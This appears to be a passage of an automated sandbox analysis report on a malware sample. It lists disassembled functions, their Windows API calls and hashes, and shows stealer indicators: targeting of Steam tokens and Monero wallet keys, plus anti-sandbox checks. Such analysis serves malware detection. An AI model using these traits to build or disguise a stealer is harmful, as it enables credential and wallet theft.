Opcode Fuzzy Hash: 7ce1f5d90fd7f6c3fdd8ef8f5c1e83b478e6ee66056fead3c1b60027349eb307
Instruction Fuzzy Hash: BE916675A102089FCB18EF64D992EEDB7F5FF95300F508559E80D9F252DB30AA05CB92

Function 00B205A5 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00748C70), ref: 00B205DA
StrCmpCA.SHLWAPI(00000000,00748D60), ref: 00B206A6
StrCmpCA.SHLWAPI(00000000,00748D20), ref: 00B207DD

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 518cc54cfcd7b0106d3bc28a9a67f98876a49904cf2e098a58fd75c614a87ec2
Instruction ID: a494f99cd4dc538f3816bd4c18e75f0a1f1021d47b358a0c157afbd117cdc861
Opcode Fuzzy Hash: 518cc54cfcd7b0106d3bc28a9a67f98876a49904cf2e098a58fd75c614a87ec2
Instruction Fuzzy Hash: 19817375A102089FCB18EF64D991EEDB7F6FF95300F108569E80D9F252DB30AA05CB92

Function 00B24690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B28880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B288AB

lstrcat.KERNEL32(?,00000000), ref: 00B246CA
lstrcat.KERNEL32(?,0074D470), ref: 00B246E8

Part of subcall function 00B243F0: wsprintfA.USER32 ref: 00B2440C
Part of subcall function 00B243F0: FindFirstFileA.KERNEL32(?,?), ref: 00B24423

Part of subcall function 00B243F0: StrCmpCA.SHLWAPI(?,00B30FAC), ref: 00B24451
Part of subcall function 00B243F0: StrCmpCA.SHLWAPI(?,00B30FB0), ref: 00B24467
Part of subcall function 00B243F0: FindNextFileA.KERNEL32(000000FF,?), ref: 00B2465D
Part of subcall function 00B243F0: FindClose.KERNEL32(000000FF), ref: 00B24672

Part of subcall function 00B243F0: wsprintfA.USER32 ref: 00B24490
Part of subcall function 00B243F0: StrCmpCA.SHLWAPI(?,00B308BA), ref: 00B244A5
Part of subcall function 00B243F0: wsprintfA.USER32 ref: 00B244C2
Part of subcall function 00B243F0: PathMatchSpecA.SHLWAPI(?,?), ref: 00B244FE
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,0074E5D0), ref: 00B2452A
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,00B30FC8), ref: 00B2453C
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,?), ref: 00B24550
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,00B30FCC), ref: 00B24562
Part of subcall function 00B243F0: lstrcat.KERNEL32(?,?), ref: 00B24576
Part of subcall function 00B243F0: CopyFileA.KERNEL32(?,?,00000001), ref: 00B2458C
Part of subcall function 00B243F0: DeleteFileA.KERNEL32(?), ref: 00B24611

Part of subcall function 00B243F0: wsprintfA.USER32 ref: 00B244E7

Strings

8t, xrefs: 00B246EE, 00B24723, 00B24758, 00B2478E, 00B247C3, 00B247F9

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 8t
API String ID: 2104210347-292456905
Opcode ID: 4a1642863968676993c5ef30e35cff01eb51bbb6c661766e4667d6f1d3ca8be4
Instruction ID: e4cc94bdf466187ba3945e24492db639e3946558dd761baaa1d0184d818ec19b
Opcode Fuzzy Hash: 4a1642863968676993c5ef30e35cff01eb51bbb6c661766e4667d6f1d3ca8be4
Instruction Fuzzy Hash: 3741C9B751020467C754FB64FC53EEE737DAB98300F408598B64DD6281EE756AC88BA1

Function 00B27380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B273B0
RtlAllocateHeap.NTDLL(00000000), ref: 00B273B7
GetComputerNameA.KERNEL32(?,00000104), ref: 00B273CF

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: b86344bf0bab2ac1771568825d21ea3a0b01635de31d7e2a5c75646e5f835885
Instruction ID: fe0e3869d701e3d6c6746712e9c4a87380e123ee84424941b966989b1e52232d
Opcode Fuzzy Hash: b86344bf0bab2ac1771568825d21ea3a0b01635de31d7e2a5c75646e5f835885
Instruction Fuzzy Hash: 570162B1944308ABC704DF99ED45BAABBB8FB04B11F100159F915E3780D7745905CBA1

Function 00B28F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00B28F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00B28F45
CloseHandle.KERNEL32(00000000), ref: 00B28F4F

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 2f268c1a7d3aa4c60c5b3f84b27b8e12bee0588418a4bd812155648a080aea89
Instruction ID: 10df35e63d03d83decafa8bd8e8964735e1ff444cf1807779649fc939d3af2c3
Opcode Fuzzy Hash: 2f268c1a7d3aa4c60c5b3f84b27b8e12bee0588418a4bd812155648a080aea89
Instruction Fuzzy Hash: 5AF0F47590020CFBDB14DFA4DD4AFED77B9EB08701F104594BB1997290D6B09E85CB90

Function 00B11110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B1112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00B11132
ExitProcess.KERNEL32 ref: 00B11143

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 277d58f65ff4aea7b0ea406cdef7638d421c4fb10f58f6c38f2259b2743f1e17
Instruction ID: 5d4bce11df06c35f52e4f7696e4d58ecb517c73d51764dc0b41009392ff4b60d
Opcode Fuzzy Hash: 277d58f65ff4aea7b0ea406cdef7638d421c4fb10f58f6c38f2259b2743f1e17
Instruction Fuzzy Hash: 35E08670D46308FBE7109BA0AC0EB487668DB04B01F104085F708F62D0C6B425408A68

Function 00B16D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbd8c72eeab2816c65c427904cc4a7c983c40abc69211faa61fb53897fac12f7
Instruction ID: f404e72d71b212c91e9dccd05bd5082a2678103694021f7a4d80b367b2fad1ec
Opcode Fuzzy Hash: dbd8c72eeab2816c65c427904cc4a7c983c40abc69211faa61fb53897fac12f7
Instruction Fuzzy Hash: 0061E2B5900209EFCB14DF94E984BEEB7F0BB48304F608598E815AB280D775AE95DF91

Function 00B24BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A1F0: lstrlen.KERNEL32(00B14F55,?,?,00B14F55,00B30DC6), ref: 00B2A1FB
Part of subcall function 00B2A1F0: lstrcpy.KERNEL32(00B30DC6,00000000), ref: 00B2A255

lstrlen.KERNEL32(00000000,00000000,00B30AB3), ref: 00B24C0A

Strings

steam_tokens.txt, xrefs: 00B24C1F

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: b2bfe713a9bce06ec1be40d872b0aee449a76b8b76b1b939abfecbc433c9d51d
Instruction ID: eb4f3a01f56cb09488dd258ee37e07d71e23ca5f744d57bc667b2c81ff26d34c
Opcode Fuzzy Hash: b2bfe713a9bce06ec1be40d872b0aee449a76b8b76b1b939abfecbc433c9d51d
Instruction Fuzzy Hash: 27F01D71D1021867CB04FBB4FC679ED77BCAF55310F9045A8F81A72192EF64661887A3

Function 00B11160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00B1116A
ExitProcess.KERNEL32 ref: 00B1117E

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 27cad48df87a20a1caa4a62e8517dae3c0f18f185aa530aafe2d51bdfe40ca81
Instruction ID: 22cb78e8595e39352ce9b60bb2a41971733aa40574dd5bf65b24ddf3d9aa5d46
Opcode Fuzzy Hash: 27cad48df87a20a1caa4a62e8517dae3c0f18f185aa530aafe2d51bdfe40ca81
Instruction Fuzzy Hash: 8ED05E7490130CDBCB00DFE09D49ADDBBB9AB0C311F101699ED05B2340DA309451CB75

Function 00B1B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B19E60: LocalAlloc.KERNEL32(00000040,?), ref: 00B19EFE

lstrlen.KERNEL32(00000000), ref: 00B1B820
lstrlen.KERNEL32(00000000), ref: 00B1B834

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

